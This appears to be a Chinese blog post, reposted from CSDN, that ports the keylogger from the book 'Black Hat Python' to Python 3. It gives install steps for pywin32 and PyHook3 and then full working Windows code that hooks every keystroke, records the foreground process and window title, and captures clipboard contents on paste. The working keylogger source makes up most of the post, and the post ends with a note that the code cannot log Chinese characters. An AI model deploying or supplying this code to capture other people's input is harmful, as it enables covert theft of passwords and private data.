Python3实现键盘记录器

python黑帽子:黑客与渗透测试编程之道。这本书上第八章有一个键盘记录器,但由于书上是python2实现的,以至于在现在无法运行,而且网上几乎没有使用python3实现的,因此自己尝试着实现了一下,但还是有一些问题。

首先是pythoncom和pyhook包的下载
pythoncom:
pip install pywin32
pyhook 下载:
下载链接:https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
下载完保存在一个目录之后,直接pip install xx,(xx是你安装包的位置)。
但是运行会出现以下错误:TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’
此时需要安装pyhook3
pip install PyHook3
具体安装:https://www.cnblogs.com/pmh905001/p/12194504.html

下边是代码

from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()  # 获得前台窗口句柄
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    process_id = "%d" % pid.value  # 将进程ID存入变量中

    # 申请内存
    executable = create_string_buffer(1024)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)  # 获得进程名

    # 读取窗口标题
    window_title = create_string_buffer(512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)  # 获得窗口名

    # 打印
    print()
    print("[PID: %s-%s-%s]" % (process_id, executable.value, window_title.value))

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


# 定义击键监听事件函数
def key_event(event):
    global current_window
    if event.WindowName != current_window:  # 检查目标是否切换了窗口
        current_window = event.WindowName
        get_current_process()
    print(" ")
    if event.Ascii > 32 and event.Ascii < 127:  # 检查是否为常规按键
        print(chr(event.Ascii), end=" ")

    else:
        if event.Key == "V":  # 如果是CTRL+V,则获取剪贴板内容
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print("[PASTE] - %s" % (pasted_value), end=' ')
        else:
            print("[%s]" % event.Key, end=' ')
    # 循环监听下一个敲键事件
    return True  # 返回到下一个钩子事件


def key_logger():
    hooker = pyHook.HookManager()  # 创建构造函数管理器
    hooker.KeyDown = key_event  # 注册钩子按键事件的处理函数
    hooker.HookKeyboard()  # 创建键盘钩子
    pythoncom.PumpMessages()  # 执行


if __name__ == "__main__":
    key_logger()

但是代码缺陷在于无法记录汉字,原本申请内存的代码为

	#申请内存
	executable = create_string_buffer("\x00"*1024)
	h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
	psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #获得进程名

但是我这样运行会报以下错误:在这里插入图片描述
但是改完之后又不能记录汉字,所以现在的代码只能记录字符。

猜你喜欢

转载自blog.csdn.net/weixin_45102820/article/details/112688734
今日推荐